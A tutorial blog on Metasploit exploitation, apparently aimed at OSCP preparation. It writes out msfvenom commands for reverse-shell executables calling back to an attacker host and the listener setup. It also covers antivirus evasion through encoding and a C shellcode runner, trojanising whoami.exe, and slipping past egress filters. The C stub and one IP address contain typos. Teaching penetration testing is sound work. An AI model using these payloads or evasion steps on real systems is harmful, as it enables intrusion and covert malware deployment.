Metasploit: Exploitation Use Cases
In this blog, we will be digging a little deeper into our notorious framework. This time, we will be going through different use cases we will face while using Metasploit for exploitation.
The primary reason I wrote this blog was to answer just one question.
What If?
1) You need to upload and run a file remotely
Such kind of scenarios exists when you can upload and run files on a remote server. Let's say there is a PHP server that allows users to upload files to a certain directory and somehow you are able to deduce the directory’s name. If you can deploy malware in this directory and you have access to this directory, you might as well be able to run the malware/file.
For this purpose, we use the ‘msfvenom’ functionality of Metasploit. To view Msfvenom’s help page, enter ‘msfvenom -h’. To list all the available payloads, enter ‘msfvenom -l payloads’.
Let’s create our small reverse shell malware.
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.152.128 LPORT=31337 -f exe -o mymalware.exe
-p flag is used to specify the kind of payload that we are using.
LHOST is the ip address of our kali machine.
LPORT is the port you want to use to communicate with the victim.
-f defines the file format
-o defines the output file
Once the above query is executed, you will get a file named ‘mymalware.exe’ that can be deployed on the server and executed. To complete our exploit, we will need to create a listener too.
The next part of our process is creating our listener. The first part might be different for different use-cases but the listener section will be common for all.
Let’s set up our listener. First, open your msfconsole and write following commands.
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.152.128
set LPORT 31337
exploit
When you write ‘exploit’ and enter, your listener gets created and waits for a connection. Once you or your victim runs your file named ‘mymalware.exe’, we will get a reverse connection to the server.
2) You need to check if a server is vulnerable
Sometimes you would want to check whether a Metasploit module works or not without exploiting the server. In such a scenario, you can use the check command. (Not all modules support check)
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.128.152
msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status… (path: 0x0000005a)
[+] The target is vulnerable
The output of the check command would look something like the above output.
3) You need to exploit a browser-based vulnerability
It is possible that the vulnerability is in the browser. Consider this, you got a tip that one of the machines in a company’s internal network uses an old browser. If the old browser has a vulnerability, we might be able to create a reverse connection. Let’s consider a famous vulnerability in Internet Explorer. The Aurora exploit was used in 2010 against major companies such as Google, Adobe, and Yahoo.
You can search all windows browser-based modules by searching “search windows/browser”
The browser_autopwn module is another client-side exploitation option available in Metasploit. This module loads all the browser and browser add-on modules that it knows of (including Java, Flash, and so on) and waits for a browser to connect to the server. Once the browser connects, the server fingerprints the browser and serves up all the exploits it thinks are likely to succeed.
Once you have created your malicious server, you just need to make the victim open the link to your server using his/her vulnerable browser. Our Meterpreter payload resides entirely inside the memory of the exploited process. If the browser dies or is closed by the user, our session also dies. (Once a reverse shell is created, the victim’s browser will stop responding and he/she might try to close the browser window which will close our connection but thankfully we will see a remedy for this scenario soon in a different blog)
4) You need to exploit a vulnerable software victim is running
What if the victim is running a vulnerable software? It can be anything like adobe reader, photoshop, winamp, vlc or any third-party software. In such a scenario, we need to trick the software to run a malicious file that exploits the vulnerability. For example, If it is adobe reader, we can create a pdf file.
Let’s assume the victim is running a vulnerable version of VLC media player. We can search for VLC modules by using the command “search vlc”, then choose the suitable module and create a file.
The output is two mkv files. If we are able to trick our victim to open these mkv files in his/her VLC media player, we will get a reverse connection. (In this case, we will have to configure the listener to get the connection) (Since I did not choose a payload this time, a default payload was automatically selected)
5) You need to bypass an antivirus
Let’s be honest, everyone has some kind of antivirus installed in their machines. Due to Metasploit’s popularity, all the antiviruses have signatures of Metasploit-based binaries. To evade these antiviruses, we need to use a concept called encoding. Encoders are tools that allow you to avoid characters in an exploit that would break it. Encoders mangle the payload and prepend decoding instructions to be executed in order to decode the payload before it is run. To check the available encoders, see the command in the picture below,
If you are giving OSCP, the preferred encoding method is ‘shikata_ga_nai’ but you can try and experiment with any of the encoders with different repetitions to evade the antivirus. Tell Msfvenom to use the shikata_ga_nai encoder with the ‘-e’ flag. Additionally, for further obfuscation, we’ll run our payload through an encoder multiple times, encoding the output from the previous round with the ‘-i’ flag and specifying the number of encoding rounds.
Apart from encoding, another method of evading antivirus detection is by compiling an executable ourselves using raw shellcode. To generate the raw shellcode use the ‘-f’ flag. This flag will create hex bytes that we can drop into a C file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.128 LPORT=4343 -f c -e x86/shikata_ga_nai -i 5
In the above example, I have used shikata encoding as well to further enhance our chances of evasion.
Now we can paste this shellcode in a c file and compile it using Mingw32. Mingw32 is a cross compiler that allows you to compile binaries for the Windows environment. If you haven’t already installed it, install it with ‘apt-get install mingw32’, and then compile your custom C file with i586-mingw32msvc-gcc.
First copy the shellcode generated above into the c code below.
#include <stdio.h>
unsigned char shellcode[]= “<paste shellcode here>”;
int main(void) w
{
((void (*)())shellcode)();
}
After creating the C file, save the C file with name ‘test.c’ and then compile it using ming32. The command below will create an exe named test. You can compile the C file locally on the victim’s machine as well.
i586-mingw32msvc-gcc -o test.exe test.c
Once we execute the EXE we just generated, we might be able to bypass the antivirus in place.
6) You need to embed a payload in a known binary
Let's say, there is no apparent vulnerability on the targeted system and the only way you can create a reverse shell is by tricking the user into running your malicious binary. Msfvenom tool has some options we can use to embed a Metasploit payload inside a legitimate binary. In particular, the ‘-x’ flag allows us to use an executable file as a template in which to embed our chosen payload. However, though the resulting executable will look like the original one, the added payload will pause the execution of the original. Luckily, Msfvenom’s ‘-k’ flag will keep the executable template intact and run our payload in a new thread, allowing the original executable to run normally.
Let’s use the -x and -k flags to build a trojan Windows executable that will appear normal to a user but will provide us a Meterpreter session in the background.
To do so, we will require a legitimate Windows binary, and we can find it in /usr/share/windows-binaries.
The example below binds our payload to a legitimate-looking windows binary named whoami.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=92.168.152.128 LPORT=4343 -x /usr/share/windows-binaries/whoami.exe -k -f exe > whoami.exe
Once executed in the victim machine, the whoami program should appear to run normally, but the embedded payload should give us a Meterpreter session if we set up a handler using the multi/handler module.
7) You need to evade filters
Metasploit is a famous framework and since the red teamers and ethical hackers are using this framework at a large scale, the filters are configured well to detect the use of Metasploit.
To evade these filters, we will have to make few changes in our methodologies too. Below are few methodologies we can employ for evasion.
Do not use port 4444
The simplest method to evade filters is not using port 4444. Due to Metasploit’s popularity, everyone knows about the port, and using this port will trigger alarms The default port for Metasploit is 4444 and a client network may not allow traffic to leave the network on port 4444. If we know which ports are allowed through the filter, we can set the LPORT option to the relevant port.
reverse_tcp_allports
In certain scenarios, the victim’s machine might be blocking a lot of ports and you will have to find which port is open to create a reverse shell. Here, Metasploit’s ‘reverse_tcp_allports’ payloads can help us find a port to connect to. As the name suggests, this payload communication method will try all ports until it finds a successful connection back to Metasploit.
set payload windows/shell/reverse_tcp_allports
the LPORT option in such payload specifies the first port to try. If that port does not work, the payload will try each subsequent port until the connection succeeds. If the payload reaches 65535 without success, it starts trying again at port 1 and runs infinitely.
reverse_https
Another good method of masquerading your traffic is hiding it in web traffic or HTTP/HTTPS traffic. In certain scenarios, it is possible that the filters in place may only allow outgoing traffic on specific ports, such as 80 or 443 for web traffic. We can use the ‘reverse_https’ type payload here to evade the filter.
set payload payload/windows/meterpreter/reverse_https
One of the great features of the HTTP and HTTPS Meterpreter payloads, aside from being legitimate HTTP and HTTPS traffic and thus bypassing even some traffic-inspecting filters, is their ability to reattach to a dropped session.
